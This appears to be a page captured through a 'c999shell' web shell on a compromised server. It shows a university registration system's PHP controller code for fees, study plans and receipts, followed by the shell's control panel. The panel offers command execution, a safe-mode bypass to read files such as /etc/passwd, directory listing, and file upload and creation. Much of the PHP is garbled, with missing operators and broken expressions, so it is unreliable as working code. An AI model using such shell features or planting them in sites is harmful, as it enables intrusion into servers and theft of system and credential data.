$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');

        
$this->output($this->config->item("rg_folder")."v_checkFee");
    }
    function 
showFee() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','trim|required|is_natural_no_zero|callback_checkAcY|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        if(
$this->input->post('acY') >= $this->config->item('reviseY')) {
            
$this->form_validation->set_rules('adY',' ','trim|callback_checkAdY|xss_clean');
            
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        } else {
            
$this->form_validation->set_rules('adY',' ','trim|xss_clean');
            
$this->form_validation->set_rules('syId',' ','trim|xss_clean');
        }

        if(
$this->form_validation->run() == true) {
            
$curId $this->input->post('curId');
            
$adY $this->input->post('adY');
            
$syId $this->input->post('syId');
            
$acY $this->input->post('acY');
            
$tmId $this->input->post('tmId');
        
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfeetp','cmft');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfeetp','cft');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefeetp','crft');

            
$this->cur->curId $curId;
            
$this->contents['qu_cur'] = $this->cur->get_by_key();
            
$this->contents['adY'] = $adY;
            
$this->contents['acY'] = $acY;

            
$this->sy->syId $syId;
            
$this->contents['qu_sy'] = $this->sy->get_by_key();

            
$this->tm->tmId $tmId;
            
$this->contents['qu_tm'] = $this->tm->get_by_key();

            
// ค่าใช้จ่าย rg_CommonFeeTp, rg_CurriculumFeeTp
            
$i 0;
            
$arr = array();
            if(
$adY && $syId) {
                
$con_rs_cmft = array('cmftAdY'    => $adY,
                                     
'cmftSyId'    => $syId,
                                     
'cmftAcY'    => $acY,
                                     
'cmftTmId'    => $tmId);
                
$con_rs_cft = array('cftCurId'    => $curId,
                                    
'cftAdY'    => $adY,
                                    
'cftSyId'    => $syId,
                                    
'cftAcY'    => $acY,
                                    
'cftTmId'    => $tmId);
            } else {
                
$con_rs_cmft = array('cmftAcY'    => $acY,
                                     
'cmftTmId'    => $tmId);
                
$con_rs_cft = array('cftCurId'    => $curId,
                                    
'cftAcY'    => $acY,
                                    
'cftTmId'    => $tmId);
            }

            
$sumCmft 0;
            
$rs_cmft $this->cmft->qryCmftJoinFee($con_rs_cmft,'','');
            if(
$rs_cmft->num_rows()) {
                foreach(
$rs_cmft->result() as $row_cmft) {
                    
$arr[$i]['cmft'] = $row_cmft;
                    
                    
$sumCmft += $row_cmft->cmftAmt;
                    
$i++;
                }
            }

            
$sumCft 0;
            
$rs_cft $this->cft->qryCftJoinFee($con_rs_cft,'','');

            if(
$rs_cft->num_rows()) {
                foreach(
$rs_cft->result() as $row_cft) {
                    
$arr[$i]['cft'] = $row_cft;

                    
$sumCft += $row_cft->cftAmt;
                    
$i++;
                }
            }

            
$this->crft->crftCurId $curId;
            
$this->crft->crftAcY $acY;
            
$this->crft->crftAdY $adY;
            
$this->crft->crftSyId $syId;
            
$this->crft->crftTmId $tmId;
            
$rs_crft $this->crft->get_by_key();

            
$sumCrft 0;
            if(
$rs_crft->num_rows()) {
                
$arr[$i]['lec'] = $rs_crft->row()->crftLecCreditFee;
                
$arr[$i]['lab'] = $rs_crft->row()->crftLabCreditFee;

                
$sumCrft $arr[$i]['lec']+$arr[$i]['lab'];
            }
            
$this->contents['arr'] = $arr;
            
$this->contents['sumTotal'] = $sumCmft+$sumCft+$sumCrft;

            
$this->output($this->config->item("rg_folder")."v_showFee");
        } else {
            
$this->checkFee();
        }
    }
    
// ##### end ตรวจสอบรายการค่าลงทะเบียน ก่อนลงทะเบียน

    
function showRealStudyPlan() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');

        
$rs_sy $this->sy->qrySy();
        
$this->contents['rs_sy'] = $rs_sy;

        
$rs_tm $this->tm->qryTm();
        
$this->contents['rs_tm'] = $rs_tm;

        
$i 0;
        
$arr = array();
        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => '');

        
$rs_cur $this->cur->qryCur($con_rs_cur$ord_rs_cur);
        if (
$rs_cur->num_rows()) {
            foreach(
$rs_cur->result() as $row_cur) {
                
$arr[$i]['level'] = 0;
                
$arr[$i]['name'] = $row_cur->curName;

                
$i++;
                
                
$rs_std $this->std->qryStdByCurIdGroupAdY($row_cur->curId);

                if (
$rs_std->num_rows()) {
                    foreach(
$rs_std->result() as $row_std) {
                        foreach (
$rs_sy->result() as $row_sy) {
                            foreach (
$rs_tm->result() as $row_tm) {
                                
$acY $row_std->stdAdY $row_sy->syId 1;

                                
$con_sumCredit = array('rspCurId'    => $row_cur->curId,
                                                       
'rspSyId'    => $row_sy->syId,
                                                       
'rspTmId'    => $row_tm->tmId,
                                                       
'rspAdY'        => $row_std->stdAdY);
                                
$sumCredit $this->rsp->getSumCreditTotal($con_sumCredit);

                                
$con_sumCreditTotal = array('rspCurId'    => $row_cur->curId,
                                                            
'rspAdY'    => $row_std->stdAdY);
                                
$sumCreditTotal $this->rsp->getSumCreditTotal($con_sumCreditTotal);

                                
/* กำหนดสถานะการแสดงรูปการลงทะเบียน
                                   0 คือ ยังไม่มีการกำหนดโปรแกรมการเรียนจริง
                                   1 คือ กำหนดโปรแกรมการเรียนจริงแล้ว */

                                
if($sumCredit==NULL) {
                                    
$link 0;
                                } else {
                                    
$link 1;
                                }

                                
$arr[$i]['level'] = 1;
                                
$arr[$i]['name'] = $row_std->stdAdY;
                                
$arr[$i]['linkShowDetail'] = "{'curId':$row_cur->curId, 'adY':$row_std->stdAdY}";
                                
$arr[$i]['url'][] = 
                                
"{'curId':$row_cur->curId,'syId':$row_sy->syId,'tmId':$row_tm->tmId,'adY':$row_std->stdAdY,'acY':$acY}";
                                
$arr[$i]['link'][] = $link;
                                
$arr[$i]['sumCredit'][] = ($sumCredit==NULL) ? $sumCredit;
                                
$arr[$i]['sumCreditTotal'] = ($sumCreditTotal==NULL) ? $sumCreditTotal;
                            }
                        }

                        
$i++;
                    }
                }
            }
        }

        
$this->contents['arr'] = $arr;

        
$this->output($this->config->item("rg_folder")."v_showRealStudyPlan");
    }

    function 
addRealStudyPlan() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumstructure','cs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');

        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
$tmId $this->input->post('tmId');
        
$adY $this->input->post('adY');
        
$acY $this->input->post('acY');

        
$this->contents['acY'] = $acY;
        
$this->contents['adY'] = $adY;

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$this->tm->tmId $tmId;
        
$this->contents['qu_tm'] = $this->tm->get_by_key();

        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$con_rs_rsp = array('rspCurId'    => $curId,
                            
'rspSyId'    => $syId,
                            
'rspTmId'    => $tmId,
                            
'rspAdY'    => $adY);
        
$this->contents['rs_rsp'] = $this->rsp->qryRsp($con_rs_rsp);

        
$cs $this->cs->qryCsCdId1ByCsCurId($curId);

        
$sumCreditTotal 0;
        
$i 0;
        if(
$cs->num_rows()) {
            foreach(
$cs->result() as $row_cs) {

                
$arr[$i]['level'] = 0;
                
$arr[$i]['cd'] = $row_cs->cdName.' ('.$row_cs->csCreditToTal.' หน่วยกิต)';
                
$arr[$i]['cdId1'] = $row_cs->csCdId1;

                
$con_rsp = array('rspCurId'    => $curId,
                                 
'rspSyId'    => $syId,
                                 
'rspTmId'    => $tmId,
                                 
'rspAdY'    => $adY,
                                 
'rspCdId1'    => $row_cs->csCdId1);
                
$rsp $this->rsp->qryRspJoinCoCrs($con_rsp);
                if(
$rsp->num_rows()) {
                    foreach(
$rsp->result() as $row_rsp) {
                        
$sumCreditTotal += $row_rsp->crsCreditTotal;
                
                        
$arr[$i]['level'] = 1;
                        
$arr[$i]['cd'] = $row_cs->cdName.' ('.$row_cs->csCreditToTal.' หน่วยกิต)';
                        
$arr[$i]['cdId1'] = $row_cs->csCdId1;
                        
$arr[$i]['crs'][] = $row_rsp;
                        
$arr[$i]['url'][] = 
                        
"{'rspId':$row_rsp->rspId,'curId':$curId,'syId':$syId,'tmId':$tmId,'acY':$acY,'adY':$adY}";
                    }
                }

                
$i++;
            }
        }

        
$this->contents['sumCreditTotal'] = $sumCreditTotal;
        
$this->contents['arr'] = $arr;

        
$this->output($this->config->item("rg_folder")."v_addRealStudyPlan");
    }

    function 
processRealStudyPlan() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyplan','sp');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');

        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
$tmId $this->input->post('tmId');
        
$acY $this->input->post('acY');
        
$adY $this->input->post('adY');

        
// ตัวแปรส่วนเพิ่ม
        
$coId $this->input->post('coId');
        
$crsId $this->input->post('crsId');
        
$crsCode $this->input->post('crsCode');
        
$crsName $this->input->post('crsName');
        
$cdId $this->input->post('cdId');
        
$cdId2 $this->input->post('cdId2');
        
$crsUnit $this->input->post('crsUnit');
        
$splitStudy $this->input->post('splitStudy');
        
// start เพิ่มรายวิชาลงในโปรแกรมการเรียนจริง
        
if($coId!='') {
            if(
$splitStudy == 1)
                
$noCalGPA 'N';
            else
                
$noCalGPA 'Y';
            
$con_rsp = array('rspAdY'    => $acY,
                             
'rspCurId'    => $curId,
                             
'rspSyId'    => $syId,
                             
'rspCrsId'    => $crsId,
                             
'rspCoId'    => $coId);
            
$qu_rsp $this->rsp->qryRsp($con_rsp);
            if(
$qu_rsp->num_rows()<=0){
                
$this->rsp->rspId '';
                
$this->rsp->rspAdY $adY;
                
$this->rsp->rspNoCalGPA $noCalGPA//'N';
                
$this->rsp->rspCurId $curId;
                
$this->rsp->rspSyId $syId;
                
$this->rsp->rspTmId $tmId;
                
$this->rsp->rspCrsId $crsId;
                
$this->rsp->rspCoId $coId;
                
$this->rsp->rspCdId1 $cdId;
                
$this->rsp->rspCdId2 $cdId2;
                
$this->rsp->insert();
            }
            if(
$splitStudy != 1){ 
                
$con_co = array('coCurId'    => $curId,
                    
'coSyId'    => $syId,
                    
'coAcY'  => $acY,
                    
'coTmId'    => $tmId,
                    
'coCrsId'    => $crsId);
                
$co $this->co->qryCo($con_co);
                foreach(
$co->result() as $row_co){   // หลายกลุ่ม
                    
$this->co->coId $row_co->coId;
                    
$this->co->get_by_key(true);
                    for(
$j=1$j<$splitStudy$j++ ){
                        
$this->co->coTmId $this->co->coTmId $j;
                        
$this->co->insert();
                    }
                }
            }
        }
        
// end เพิ่มรายวิชาลงในโปรแกรมการเรียนจริง

        // กรณีที่ยังไม่มีการบันทึก rg_RealStudyPlan และกดบันทึกตามหลักสูตร
        
if($this->input->post('confirm')!='') {
            
$flgConfirm 0;
            
$con_sp = array('spCurId'    => $curId,
                            
'spSyId'    => $syId,
                            
'spTmId'    => $tmId);
            
$sp $this->sp->qrySp($con_sp,'','');    // หาโปรแกรมการเรียน
            
if($sp->num_rows()) {
                foreach(
$sp->result() as $row_sp) {
                    
// เปิดสอนหรือเปล่า ในกรณีที่เป็น NULL
                    
$con_co = array('coCurId'    => 'NULL',
                                    
'coAcY'        => $acY,
                                    
'coSyId'    => $syId,
                                    
'coTmId'    => $tmId,
                                    
'coCrsId'    => $row_sp->spCrsId,
                                    
'cofCurId'    => $curId);
                    
$ord_co = array('coSection'    => '');
                    
$co $this->co->qryCoByCoCurIdIsNULL($con_co$ord_co);
                    if(
$co->num_rows()) {
                        
//บันทึกหรือยัง
                        
$con_rsp = array('rspCurId'    => $curId,
                                         
'rspSyId'    => $syId,
                                         
'rspTmId'    => $tmId,
                                         
'rspCoId'    => $co->row()->coId,
                                         
'rspAdY'    => $adY);
                        
$rsp $this->rsp->qryRsp($con_rsp);
                        if(
$rsp->num_rows()==0) {
                                
$this->rsp->rspId '';
                                
$this->rsp->rspAdY $adY;
                                
$this->rsp->rspNoCalGPA 'N';
                                
$this->rsp->rspCurId $row_sp->spCurId;
                                
$this->rsp->rspSyId $row_sp->spSyId;
                                
$this->rsp->rspTmId $row_sp->spTmId;
                                
$this->rsp->rspCrsId $row_sp->spCrsId;
                                
$this->rsp->rspCoId $co->row()->coId;
                                
$this->rsp->rspCdId1 $row_sp->spCdId1;
                                
$this->rsp->rspCdId2 $row_sp->spCdId2;
                                
$this->rsp->insert();
                                
$flgConfirm 1;
                        }
                    }

                    
// เปิดสอนหรือเปล่า กรณี programId != NULL
                    
$con_co = array('coCurId'    => $curId,
                                    
'coSyId'    => $syId,
                                    
'coTmId'    => $tmId,
                                    
'coCrsId'    => $row_sp->spCrsId,
                                    
'coAcY'        => $acY,
                                    
'coSection'    => 1);
                    
$co $this->co->qryCo($con_co);
                    if(
$co->num_rows()) {
                        
$con_rsp = array('rspCurId'    => $curId,
                                         
'rspSyId'    => $syId,
                                         
'rspTmId'    => $tmId,
                                         
'rspCoId'    => $co->row()->coId,
                                         
'rspAdY'    => $adY);
                        
$rsp $this->rsp->qryRsp($con_rsp,'','');
                        if(
$rsp->num_rows()==0) {
                                
$this->rsp->rspId '';
                                
$this->rsp->rspAdY $adY;
                                
$this->rsp->rspNoCalGPA 'N';
                                
$this->rsp->rspCurId $row_sp->spCurId;
                                
$this->rsp->rspSyId $row_sp->spSyId;
                                
$this->rsp->rspTmId $row_sp->spTmId;
                                
$this->rsp->rspCrsId $row_sp->spCrsId;
                                
$this->rsp->rspCoId $co->row()->coId;
                                
$this->rsp->rspCdId1 $row_sp->spCdId1;
                                
$this->rsp->rspCdId2 $row_sp->spCdId2;
                                
$this->rsp->insert();
                                
$flgConfirm 1;
                        }
                    }
                }
            }
        } else {
            
$cnt $this->input->post('cnt');

            for(
$i=0$i<$cnt$i++) {
                if(
$this->input->post('addOrder'.$i)=='+') {
                    
$this->contents['order'] = $i;
                }
            }
        }

        
$this->addRealStudyPlan();
    }

    function 
deleteRsp() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_realstudyplan','rsp');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');

        
$this->rsp->rspId $this->input->post('rspId');
        
$this->rsp->get_by_key(TRUE);

        
// loop for deleting split-study rg_CourseOpen
        
$con_rs_co = array('coId'    => $this->rsp->rspId);
        
$rs_co $this->co->qryCo($con_rs_co);
        if(
$rs_co->num_rows()) {
            foreach(
$rs_co->result() as $row_co) {
                
$this->co->coId $row_co->coId;
                
$this->co->delete();
            }
        }
        
// end loop plit-study

        
$this->rsp->rspId $this->input->post('rspId');
        
$this->rsp->delete();
        
        
$this->addRealStudyPlan();
    }

    function 
sendToReceipt() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_payment','pm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefee','crf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registfee','rf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_fee','fee');

        
/******* รายเดี่ยว **********/
        
$pmId $this->input->post('pmId');
        
$stdId $this->input->post('stdId');
        
/******* รายเดี่ยว **********/

        /******* รายกลุ่ม **********/
        
$curId $this->input->post('curId');
        
$adY $this->input->post('adY');
        
/******* รายกลุ่ม **********/

        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$syId $this->input->post('studentYear');
        
$type $this->input->post('sendToReceipt');        // flag บอกรายคน หรือกลุ่ม

        
if($type=='') {
            
$con_std = array('stdId'    => $stdId);
            
$this->contents['rs_std'] = $this->std->qryStdJoinPfCurGen($con_std);
        } else {
            
$con_std = array('stdCurId'    => $curId,
                             
'stdAdY'    => $adY);
            
$ord_std = array('stdCode'    => '');
            
$this->contents['rs_std'] = $this->std->qryStdJoinPfCurGen($con_std$ord_std);
        }

        
$this->tm->tmId $tmId;
        
$this->tm->get_by_key(TRUE);
        
$this->contents['tmId'] = $this->tm->tmId;
        
$this->contents['tmCode'] = $this->tm->tmCode;
        
$this->contents['sy'] = $this->sy;
        
$this->contents['syId'] = $syId;
        
$this->contents['pm'] = $this->pm;
        
$this->contents['crf'] = $this->crf;
        
$this->contents['pm'] = $this->pm;
        
$this->contents['rf'] = $this->rf;
        
$this->contents['fee'] = $this->fee;

        
$this->contents['acY'] = $acY;

        
$this->output_detail($this->config->item("rg_folder")."v_sendToReceipt");
    }

    function 
sendToReceipt_cur() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefee','crf');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_payment','pm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['std'] = $this->std;
        
$this->contents['crf'] = $this->crf;
        
$this->contents['pm'] = $this->pm;
        
$this->contents['tm'] = $this->tm;

        
$pmIdArr $this->input->post('pmId');
        
$stdIdArr $this->input->post('stdId');
        
$acYArr $this->input->post('acY');
        
$tmIdArr $this->input->post('tmId');

        
$this->contents['pmIdArr'] = $pmIdArr;
        
$this->contents['stdIdArr'] = $stdIdArr;
        
$this->contents['acYArr'] = $acYArr;
        
$this->contents['tmIdArr'] = $tmIdArr;

        
$this->output_detail($this->config->item("rg_folder")."v_sendToReceiptCur");

    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0203 ]--